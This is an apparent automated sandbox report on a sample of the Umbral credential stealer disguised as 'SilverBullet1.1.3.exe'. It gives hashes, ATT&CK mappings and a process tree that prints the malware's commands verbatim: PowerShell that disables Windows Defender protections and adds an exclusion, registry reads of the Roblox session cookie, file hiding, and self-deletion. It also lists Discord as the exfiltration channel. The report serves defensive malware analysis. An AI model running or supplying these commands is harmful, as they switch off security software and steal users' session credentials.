umbral | 15e11de5fdc18d4d1a9fe45e494887fe04087aae5a215c1bff4f8fa36b86e7fb

Analysis

max time kernel
136s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 20:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SilverBullet1.1.3.exe
Size

246KB
MD5

cbcd362933c6c8a10a0a6d8c40bbb66a
SHA1

4fc0ff8ec329b58c4220a577f694b96be0b874f8
SHA256

15e11de5fdc18d4d1a9fe45e494887fe04087aae5a215c1bff4f8fa36b86e7fb
SHA512

da01c53ac833edbbb5abbefa5a5da4de0cdd10c9c7469b58db6f14470bbfa6b19c2b335759045402807c549a2fc36495d5d0a4b0ce41cb12a203e2e3d0b1b617
SSDEEP

6144:JloZM+rIkd8g+EtXHkv/iD4z6F+cCFdWcj+ctBIKzb8e1ma5i:7oZtL+EP8z6F+cCFdWcj+ctBIMFg

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4184-0-0x0000020A1AAF0000-0x0000020A1AB34000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3764	powershell.exe
312	powershell.exe
1512	powershell.exe
3988	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SilverBullet1.1.3.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	discord.com
28	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3048	cmd.exe
3424	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3336	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3424	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4184	SilverBullet1.1.3.exe
3764	powershell.exe
3764	powershell.exe
312	powershell.exe
312	powershell.exe
1512	powershell.exe
1512	powershell.exe
1152	powershell.exe
1152	powershell.exe
3988	powershell.exe
3988	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4184	SilverBullet1.1.3.exe
Token: SeIncreaseQuotaPrivilege	1868	wmic.exe
Token: SeSecurityPrivilege	1868	wmic.exe
Token: SeTakeOwnershipPrivilege	1868	wmic.exe
Token: SeLoadDriverPrivilege	1868	wmic.exe
Token: SeSystemProfilePrivilege	1868	wmic.exe
Token: SeSystemtimePrivilege	1868	wmic.exe
Token: SeProfSingleProcessPrivilege	1868	wmic.exe
Token: SeIncBasePriorityPrivilege	1868	wmic.exe
Token: SeCreatePagefilePrivilege	1868	wmic.exe
Token: SeBackupPrivilege	1868	wmic.exe
Token: SeRestorePrivilege	1868	wmic.exe
Token: SeShutdownPrivilege	1868	wmic.exe
Token: SeDebugPrivilege	1868	wmic.exe
Token: SeSystemEnvironmentPrivilege	1868	wmic.exe
Token: SeRemoteShutdownPrivilege	1868	wmic.exe
Token: SeUndockPrivilege	1868	wmic.exe
Token: SeManageVolumePrivilege	1868	wmic.exe
Token: 33	1868	wmic.exe
Token: 34	1868	wmic.exe
Token: 35	1868	wmic.exe
Token: 36	1868	wmic.exe
Token: SeIncreaseQuotaPrivilege	1868	wmic.exe
Token: SeSecurityPrivilege	1868	wmic.exe
Token: SeTakeOwnershipPrivilege	1868	wmic.exe
Token: SeLoadDriverPrivilege	1868	wmic.exe
Token: SeSystemProfilePrivilege	1868	wmic.exe
Token: SeSystemtimePrivilege	1868	wmic.exe
Token: SeProfSingleProcessPrivilege	1868	wmic.exe
Token: SeIncBasePriorityPrivilege	1868	wmic.exe
Token: SeCreatePagefilePrivilege	1868	wmic.exe
Token: SeBackupPrivilege	1868	wmic.exe
Token: SeRestorePrivilege	1868	wmic.exe
Token: SeShutdownPrivilege	1868	wmic.exe
Token: SeDebugPrivilege	1868	wmic.exe
Token: SeSystemEnvironmentPrivilege	1868	wmic.exe
Token: SeRemoteShutdownPrivilege	1868	wmic.exe
Token: SeUndockPrivilege	1868	wmic.exe
Token: SeManageVolumePrivilege	1868	wmic.exe
Token: 33	1868	wmic.exe
Token: 34	1868	wmic.exe
Token: 35	1868	wmic.exe
Token: 36	1868	wmic.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	312	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3476	wmic.exe
Token: SeSecurityPrivilege	3476	wmic.exe
Token: SeTakeOwnershipPrivilege	3476	wmic.exe
Token: SeLoadDriverPrivilege	3476	wmic.exe
Token: SeSystemProfilePrivilege	3476	wmic.exe
Token: SeSystemtimePrivilege	3476	wmic.exe
Token: SeProfSingleProcessPrivilege	3476	wmic.exe
Token: SeIncBasePriorityPrivilege	3476	wmic.exe
Token: SeCreatePagefilePrivilege	3476	wmic.exe
Token: SeBackupPrivilege	3476	wmic.exe
Token: SeRestorePrivilege	3476	wmic.exe
Token: SeShutdownPrivilege	3476	wmic.exe
Token: SeDebugPrivilege	3476	wmic.exe
Token: SeSystemEnvironmentPrivilege	3476	wmic.exe
Token: SeRemoteShutdownPrivilege	3476	wmic.exe
Token: SeUndockPrivilege	3476	wmic.exe
Token: SeManageVolumePrivilege	3476	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4184 wrote to memory of 1868	4184	SilverBullet1.1.3.exe	84
PID 4184 wrote to memory of 1868	4184	SilverBullet1.1.3.exe	84
PID 4184 wrote to memory of 5056	4184	SilverBullet1.1.3.exe	89
PID 4184 wrote to memory of 5056	4184	SilverBullet1.1.3.exe	89
PID 4184 wrote to memory of 3764	4184	SilverBullet1.1.3.exe	91
PID 4184 wrote to memory of 3764	4184	SilverBullet1.1.3.exe	91
PID 4184 wrote to memory of 312	4184	SilverBullet1.1.3.exe	94
PID 4184 wrote to memory of 312	4184	SilverBullet1.1.3.exe	94
PID 4184 wrote to memory of 1512	4184	SilverBullet1.1.3.exe	96
PID 4184 wrote to memory of 1512	4184	SilverBullet1.1.3.exe	96
PID 4184 wrote to memory of 1152	4184	SilverBullet1.1.3.exe	98
PID 4184 wrote to memory of 1152	4184	SilverBullet1.1.3.exe	98
PID 4184 wrote to memory of 3476	4184	SilverBullet1.1.3.exe	102
PID 4184 wrote to memory of 3476	4184	SilverBullet1.1.3.exe	102
PID 4184 wrote to memory of 3920	4184	SilverBullet1.1.3.exe	104
PID 4184 wrote to memory of 3920	4184	SilverBullet1.1.3.exe	104
PID 4184 wrote to memory of 4464	4184	SilverBullet1.1.3.exe	107
PID 4184 wrote to memory of 4464	4184	SilverBullet1.1.3.exe	107
PID 4184 wrote to memory of 3988	4184	SilverBullet1.1.3.exe	109
PID 4184 wrote to memory of 3988	4184	SilverBullet1.1.3.exe	109
PID 4184 wrote to memory of 3336	4184	SilverBullet1.1.3.exe	111
PID 4184 wrote to memory of 3336	4184	SilverBullet1.1.3.exe	111
PID 4184 wrote to memory of 3048	4184	SilverBullet1.1.3.exe	113
PID 4184 wrote to memory of 3048	4184	SilverBullet1.1.3.exe	113
PID 3048 wrote to memory of 3424	3048	cmd.exe	115
PID 3048 wrote to memory of 3424	3048	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe
"C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe"
  2⤵
  - Views/modifies file attributes
  PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3920
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3988
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e0ec6bf376a6b15852bce768196c5ed0

SHA1
05fe4e592ebbb7e29f36b8d30a6a90ba29bd4f81

SHA256
2d4a39cbbd597a7cfff477817c3c7c541c14974c8d234b4c0de6d229e3a3ce97

SHA512
dc0c7d3d127c88affea9ae402d7358c079cfa7fc3ecb417085e31dc749da1406e72563bfbe42167fdad57e10aa0c6cca7a8ba06921b3a1212ad7ccee1a0f859b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7b7e974b22adcacc79017d61655890e1

SHA1
8ecb71066770325350663a0977fb7ebac0c07dc6

SHA256
e0577a55deb18ff41bd81cdfd00202a93f20fbcda2656796bd2ccbc3b4549397

SHA512
30f14fffd5fa06b66b48ded0628aa29e60faabc56f1490122812492380f5632c883f5bc65235018a2eb361c9add9f44747e1fc6ab6fac8b0e640cfb673dd75a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ze5kunfi.cva.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3764-4-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download
memory/3764-10-0x0000023BF08F0000-0x0000023BF0912000-memory.dmp

Filesize
136KB

Download
memory/3764-15-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download
memory/3764-18-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download
memory/3764-3-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download
memory/4184-34-0x0000020A1C910000-0x0000020A1C960000-memory.dmp

Filesize
320KB

Download
memory/4184-33-0x0000020A352A0000-0x0000020A35316000-memory.dmp

Filesize
472KB

Download
memory/4184-35-0x0000020A1AFE0000-0x0000020A1AFFE000-memory.dmp

Filesize
120KB

Download
memory/4184-1-0x00007FFFEFFC3000-0x00007FFFEFFC5000-memory.dmp

Filesize
8KB

Download
memory/4184-0-0x0000020A1AAF0000-0x0000020A1AB34000-memory.dmp

Filesize
272KB

Download
memory/4184-71-0x0000020A1C8E0000-0x0000020A1C8EA000-memory.dmp

Filesize
40KB

Download
memory/4184-72-0x0000020A1C960000-0x0000020A1C972000-memory.dmp

Filesize
72KB

Download
memory/4184-2-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download
memory/4184-90-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

Filesize
10.8MB

Download